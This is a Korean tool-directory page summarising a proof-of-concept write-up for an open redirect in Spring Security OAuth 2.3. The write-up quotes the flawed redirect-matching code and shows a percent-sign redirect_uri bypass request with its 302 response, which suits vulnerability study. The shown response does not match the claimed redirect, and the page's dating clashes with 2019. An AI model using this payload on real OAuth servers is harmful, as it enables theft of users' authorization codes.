Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-3778-Spring-Security-OAuth-2.3-Open-Redirection — Spring Security OAuth 2.3 Open Redirection 분석 및 재현 | Kitploit
도구/GitHubGitHub/bbb-man/cve-2019-3778-spring-security-oauth-2.3-open-redirection
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & Education
GitHubbbb-man/cve-2019-3778-spring-security-oauth-2.3-open-redirection

CVE-2019-3778-Spring-Security-OAuth-2.3-Open-Redirection

Spring Security OAuth 2.3 Open Redirection 분석 및 재현

저장소 보기
16년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-3778-Spring-Security-OAuth-2.3-Open-Redirection

Spring Security OAuth 2.3 Open Redirection 분석 및 재현 편

Exploit Title: spring-security-oauth2의 Open Redirector

Date: 2019년 6월 17일

Exploit Author: Riemann

Vendor Homepage: https://spring.io/projects/spring-security-oauth

Software Link: https://spring.io

Version: Spring Security OAuth 2.3, 2.3.6 미만 - org.springframework.security.oauth:spring-security-oauth2:2.3.3.RELEASE

Tested on: UBUNTU 16.04 LTS - org.springframework.security.oauth:spring-security-oauth2:2.3.3.RELEASE

CVE : CVE-2019-11269 | CVE-2019-3778

Description

Spring Security OAuth 2.3 (2.3.6 미만), 2.2 (2.2.5 미만), 2.1 (2.1.5 미만), 2.0 (2.0.18 미만) 및 지원이 중단된 구버전은 인증 코드를 유출할 수 있는 오픈 리디렉션 공격에 취약합니다. 악의적인 사용자 또는 공격자는 인증 코드 부여 유형을 사용하여 인증 엔드포인트에 요청을 구성하고, redirect_uri 매개변수를 통해 조작된 리디렉션 URI를 지정할 수 있습니다. 이로 인해 인증 서버는 리소스 소유자의 사용자 에이전트를 공격자가 제어하는 URI로 리디렉션하여 유출된 인증 코드를 전달할 수 있습니다.

#취약점: REDIRECT_URI 매개변수를 조작함으로써 공격자는 실제로 검증을 우회할 수 있습니다.

취약점을 유발하는 코드는 org.springframework.security.oauth2.provider.endpoint 패키지에 있습니다. 클래스: DefaultRedirectResolver, 메서드 obtainMatchingRedirect는 적절한 위생 처리를 수행하지 않습니다.

/** * Attempt to match one of the registered URIs to the that of the requested one. * * @param redirectUris the set of the registered URIs to try and find a match. This cannot be null or empty. * @param requestedRedirect the URI used as part of the request * @return the matching URI * @throws RedirectMismatchException if no match was found */ private String obtainMatchingRedirect(Set redirectUris, String requestedRedirect) { Assert.notEmpty(redirectUris, "Redirect URIs cannot be empty");

root@kitploit:~
	if (redirectUris.size() == 1 && requestedRedirect == null) {
		return redirectUris.iterator().next();
	}
	for (String redirectUri : redirectUris) {
		if (requestedRedirect != null && redirectMatches(requestedRedirect, redirectUri)) {
			return requestedRedirect;
		}
	}
	throw new RedirectMismatchException("Invalid redirect: " + requestedRedirect
			+ " does not match one of the registered values: " + redirectUris.toString());
}

#POC 공격 벡터 사용자가 로그인한 후 클라이언트 앱에서 수행하는 다음 요청에는 REDIRECT_URI 매개변수가 포함됩니다. 검증은 간단히 퍼센트 기호를 추가하여 우회되며, RedirectMismatchException 오류 대신 리디렉션이 실행됩니다.

유효한 URI를 포함한 원래 요청: GET /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://localhost:8086/login/oauth2/code/ HTTP/1.1

공격자는 URI를 완전히 다른 서버로 변경하고 퍼센트 기호를 추가하여 애플리케이션을 속입니다. 예를 들어:

GET /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://%localhost:9000/login/oauth2/code/ HTTP/1.1 Host: localhost:8085 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost:8085/auth/login Connection: close Cookie: JSESSIONID=3394FD89204BE407CB585881755C0828; JSESSIONID=C0F1D5A2F1944DCB43F2BFFA416B7A63 Upgrade-Insecure-Requests: 1

응답은 예상된 OAUTH 오류를 발생시키지 않고 사용자를 리디렉션합니다:

HTTP/1.1 302 Cache-Control: no-store X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: DENY Location: http://localhost:8086/login/oauth2/code/?code=4ecsea&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D Content-Language: en-US Content-Length: 0 Date: Mon, 17 Jun 2019 11:06:18 GMT Connection: close

도구 다운로드